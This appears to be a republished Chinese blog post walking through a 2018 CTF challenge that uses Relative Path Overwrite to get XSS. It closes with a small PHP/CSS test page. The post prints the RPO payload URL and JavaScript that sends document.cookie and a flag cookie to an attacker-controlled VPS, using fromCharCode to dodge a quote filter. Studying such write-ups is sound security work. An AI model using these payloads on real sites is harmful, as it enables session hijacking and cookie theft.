前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >RPO漏洞深入剖析与利用

RPO漏洞深入剖析与利用

作者头像
Ms08067安全实验室
发布2019-09-24 15:19:38
1.1K0
发布2019-09-24 15:19:38
举报

简介

PRO的全称为“Relative Path Overwrite”,也就是相对路径覆盖。利用浏览器和服务器对资源加载设置的差异,通过某些方法和技巧,在相对路径处,引入我们可控的js/css文件,甚至引入非js/css文件,并按照js/css的语法执行,从而实现攻击。

Fuck the “Share your mind”

这是18-03-24强网杯的一道题,也是从这里开始接触RPO这个漏洞,以下简单介绍一下这道题的做法: 首先就是一个登录界面

简单测试后可以发现并没有SQL注入或者XSS漏洞,之后注册一个账号,登录进去。测试各个页面,还是没有发现SQL注入 在做比赛的小伙伴可能会对以下这个页面很熟悉:

没错,就是这个“脸上”写着“这里有FLAG”的页面,而且如果在Reports框里输入http://39.107.33.96:20000/<script src=http://VPSIP ></script>,它真的会访问我们自己的VPS,结合第一个提示:

再联想到i春秋的一篇文章 通过反调PhantomJS XSS bot 把XSS漏洞升级为SSRF/LFR

惊不惊喜?意不意外?是不是感觉从此拿到FLAG,出任CEO,迎娶白富美,从此走上人生巅峰了?

呵~想!多!了!

不知道为什么,VPS上的js代码就是没办法执行

之后才了解到,真正的漏洞点在这里:

也就是我们今天要介绍的主角,RPO导致的XSS漏洞了……

phpinfo url 模式

在看漏洞流程之前,我们先介绍一个知识点,就是按照目录方式获取资源,以及phpinfo URL模式。

http://39.107.33.96:20000/index.php/view/article/763

难道有一个目录交index.php吗?不是的,它使用了url rewrite的php开发框架,也叫PHPINFO URL模式 等价于

http://39.107.33.96:20000/index.php?mod=view&article=763

在这道题里,返回的,就是我们输入的文章内容,当标题为空时,只返回内容的纯文本,不包含html代码。

漏洞成因

文章最开始提到过,RPO漏洞就是“相对路径覆盖”,而这道题的漏洞产生,也是因为相对路径

我们来分析一下上面导致漏洞的payload

http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php

对于php而言,它获得的请求是url解码后的,%2F会被解码为/,apache和nginx会按照目录的方式来返回我们请求的资源。

对于payload,也就相当于访问

http://39.107.33.96:20000/index.php/view/article/36967/../../../../index.php

向上跳了三层,依旧返回index.php页面的内容

但是!服务端和客户端之间产生了沟通差异,浏览器在寻找js资源的时候,并没有对%2f进行解码,就认为 ..%2f..%2f..%2f..%2findex.php这一坨是一段数据,但是又没有人来接收这段数据,相当于报废。 就好比输入url-https://www.baidu.com?id=1,向百度传递了一个参数id,但它后端没有接收的代码,相当于没有传递,返回的资源仍然是https://www.baidu.com的。

http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php相当于在文章ID为36967的文章页面传了一个叫..%2f..%2f..%2f..%2findex.php的参数,没有人接收,所以返回的资源就只是http://39.107.33.96:20000/index.php/view/article/36967/

浏览器错误理解url后,请求相对路径中请求的资源路径,就变成了http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php/static/js/jquery.min.js

当我们向服务器提交这个请求的时候,服务器会按照phpinfo模式来读取这个url,

读到..%2f..%2f..%2f..%2findex.php

这里就读不下去了,识别不了,退一步,把前面能识别的内容返回回来,也就是http://39.107.33.96:20000/index.php/view/article/36967/

我们看网络里的请求,也可以看到浏览器按照phpinfo的格式来解析url的话,只会访问到能识别的地方

这里要注意,xxxdir只是为了表示这是一个没有用的dir,换成aaadir效果也是一样的,同理把..%2f..%2f..%2f..%2findex.php当做dir也是一样的。

http://39.107.33.96:20000/index.php/view/article/36967/

的页面内容,也就是alert(1)当做是js文件的内容,带回到了<script>标签中,也就因此,造成了XSS漏洞

漏洞完成过程 首先填写一个只有内容,没有标题的Ideas

如果标题不为空

那请求的结果将含有HTML代码,如果这个时候再把返回的数据当做是JavaScript代码解析,就会发生异常。

之后我们就可以伪造请求,比如(new Image()).src = 'http://VPSIP:Port?'+document.cookie 由于漏洞点过滤了引号,所以可以用fromCharCode进行绕过处理 (new Image()).src = String.fromCharCode(104,116,116,112,58,47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47)+document.cookie;

写这篇文章的时候,后台的自动点击脚本貌似没在运行了,只能我自己触发一下xss,弹个自己的PHPSESSION回来。比赛过程中会有个提示,让你去打二级目录/QWB_fl4g/QWB/

然后使用iframe标签去读二级目录下的cookie

代码语言:javascript
复制

iframe
var iframe = document.createElement(String.fromCharCode(105,102,114,97,109,101));
iframe.src = String.fromCharCode(47,81,87,66,95,102,108,52,103,47,81,87,66,47);
iframe.id = String.fromCharCode(102,114,97,109,101);
document.body.appendChild(iframe);
iframe.onload = function (){
    var c = document.getElementById(String.fromCharCode(102,114,97,109,101)).contentWindow.document.cookie;
var n0t = document.createElement(String.fromCharCode(108,105,110,107));
n0t.setAttribute(String.fromCharCode(114,101,108), String.fromCharCode(112,114,101,102,101,116,99,104));
n0t.setAttribute(String.fromCharCode(104,114,101,102), String.fromCharCode(47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47,63,102,108,97,103,61) + c);
document.head.appendChild(n0t);
}

VPS处就可以监听到返回的flag~

总结

用畅师傅说的一句话总结RPO的核心原理,“RPO漏洞,就是服务端和客户端对这个URL的解析不一致导致的”,其实仔细想一想,任何漏洞不都是这个道理嘛,宽字节,00截断,都是利用不同功能板块之间解析规则的差异,造成语义上的混淆,从而导致了漏洞。

小练习

俗话说的好“Talk is cheap, show me the Code”,如果对这RPO还是有疑惑的话,可以用以下的代码片段自己动手测试一下。

测试代码扒自p00mj师傅的文章

php代码

代码语言:javascript
复制
<?php $path='http://localhost/hello/'?>
<a class="navbar-brand" href="<?php echo $path?>url.php">三国杀</a>
<li class="active" id='wei'><a href="<?php echo $path?>url.php/country/wei">魏</a></li>
<li id ='shu'><a href="<?php echo $path?>url.php/country/shu">蜀</a></li>
<li class="active" id='wu'><a href="<?php echo $path?>url.php/country/wu">吴</a></li>
<link rel="stylesheet" href="./style.css" style="css" />
<?php
$arr=isset($_SERVER['PATH_INFO'])?explode('/',trim($_SERVER['PATH_INFO'],'/')):null;
//var_dump($arr);
//echo $arr
$value='';
for($_=0;$_<count($arr);$_+=2)
{
    $value[$arr[$_]] = $arr[$_+1];
}
$value['country']=isset($value['country'])?$value['country']:null;
switch ($value['country']) {
    case 'wei':
        ?>
        <h1>welcome to 魏国!</h1>
        <?php
        break;
    case 'shu':
        ?>

        <h1>welcome to 蜀国!</h1>

        <?php
        break;
    case 'wu':
        ?>
        <h1>welcome to 吴国!</h1>

        <?php
        break;

    default:
        ?>
        <h1>welcome!</h1>
        <?php
        break;
}
?>

style.css文件

代码语言:javascript
复制
h1 {
font-size:180px;
color:blue;
}

在绿盟的这篇文章中提到说Apache无法解析这种URL,会返回404。其实是默认配置的问题。

在Github上也有一个CTF题目的源码,利用RPO,进行XSS+CSRF攻击。

https://github.com/eboda/34c3ctf/tree/master/urlstorage

参考链接

https://www.cnblogs.com/p00mj/p/6755000.html

http://www.qingpingshan.com/pc/aq/240597.html

http://blog.nsfocus.net/rpo-attack/

文章首发先知

作者:Ph0rse

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-03-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • Fuck the “Share your mind”
  • phpinfo url 模式
  • 漏洞成因
  • 总结
  • 小练习
  • 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档